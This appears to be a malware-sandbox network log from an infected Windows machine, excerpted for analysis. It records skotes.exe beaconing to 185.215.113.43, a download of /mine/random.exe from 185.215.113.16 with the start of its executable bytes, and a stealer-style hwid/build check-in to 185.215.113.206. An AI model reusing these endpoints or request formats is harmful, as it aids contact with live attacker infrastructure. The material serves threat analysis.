Oct 30, 2024 21:57:03.585292101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585328102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:57:03.585382938 CET	1236	IN	Data Raw: cf f6 7e 8e 9d 1a 8b 9b a8 e7 74 72 56 ce 49 28 ff e5 ea 03 0c d9 82 64 68 bc 91 87 b1 6a 6d 58 30 b6 a4 95 be e6 a5 b2 e9 05 88 ce 08 fc 8d 20 13 ba 53 85 c2 4f 15 9d cd 3b 26 31 b2 be ad 96 c6 c8 8f fa d9 03 b1 98 ac c3 b4 47 4d 5c 71 cc 69 e1 Data Ascii: ~trVI(dhjmX0 SO;&1GM\qi),]Jkw;{W8^I3H{lMlP>]/{dQkM@IGfKmd<W4nxRQL@!"s'
Oct 30, 2024 21:57:03.585418940 CET	1236	IN	Data Raw: c1 20 79 58 a9 9c c5 f0 8c 4e 79 60 f9 f1 47 ab 91 29 4c cd 96 9d 4c 80 30 ee a3 84 b2 3b 54 8a 6d 45 5c ba e0 dd 63 9b 84 3e 92 8a d2 e1 0a 0b d9 c5 2e ff 2f f1 78 a3 c6 63 04 b7 0b 6c 79 b3 a8 78 b4 bb 08 f4 9d cb 4e d1 13 a2 69 c6 be da b6 14 Data Ascii: yXNy`G)LL0;TmE\c>./xclyxNiHE%IuAKv?5bm2Dqw:}B<mNt*oQ6tByB4Yqojxf){8(9-CiqBuv
Oct 30, 2024 21:57:03.593853951 CET	1236	IN	Data Raw: d3 8e e4 93 34 6e b5 71 d1 20 13 db 57 d6 97 f2 1d 3c f7 f5 d2 eb 63 cb 10 f3 7c a3 18 7d 09 e6 b8 d3 27 c0 40 f0 bd 41 37 a8 af 44 6b d3 41 97 d0 d3 b6 87 eb a6 c4 f0 11 d1 9a bc 78 7b 0c f4 1d 4d b1 b6 2b 17 8a a7 8a 92 25 81 4b c6 f9 0c 1b fe Data Ascii: 4nq W<c\|}'@A7DkAx{M+%KZz ^zYNC,Y}QIQv2?&5*ytZAcbd.fBV4$J9'IMnvO`W~#[(D#<\|NN.2U\|6`AI-a.'ze
Oct 30, 2024 21:57:05.456979990 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:57:05.733155012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:05 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Wed, 30 Oct 2024 20:53:56 GMT Connection: keep-alive ETag: "67229ce4-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Lj@WkKK @.rsrc@.idata @ +@ibghtiqx1@zeltcjlxK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50308	34.107.221.82	80	7096	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:02.731623888 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:03.342204094 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59150 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:03.792268991 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:03.921911001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59150 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:04.450566053 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:04.579154968 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59151 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:04.860610008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59151 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:05.070930958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:05.198914051 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59152 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:05.488974094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:05.617165089 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59152 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:05.704454899 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:05.832650900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59152 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:06.175328016 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:06.303678036 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59153 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:09.494935989 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:57:09.623631954 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59156 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 21:57:19.639290094 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50310	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:02.995686054 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:57:03.845273018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50321	34.107.221.82	80	7096	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:03.903012991 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50322	34.107.221.82	80	7096	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:03.943747997 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:04.549284935 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59173 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:04.583013058 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:04.860586882 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59173 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:04.929382086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59173 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:05.211600065 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:05.339165926 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59174 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:05.627667904 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:05.755986929 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59174 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:05.945446968 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:06.073419094 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59175 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:06.306395054 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:06.433639050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59175 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:09.627233982 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 21:57:09.754976988 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 59178 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 21:57:19.760366917 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50331	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:05.562083960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:57:06.493671894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50332	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:08.009382963 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 35 32 43 37 36 42 38 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B52C76B85982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 21:57:08.922941923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50334	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:10.548193932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 21:57:11.458034992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:57:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	50335	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:57:15.781276941 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 21:57:16.685303926 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 21:57:16.691523075 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="build"tale------FBGIDHCAAKEBAKFIIIEB--
Oct 30, 2024 21:57:16.973488092 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:57:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	50342	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
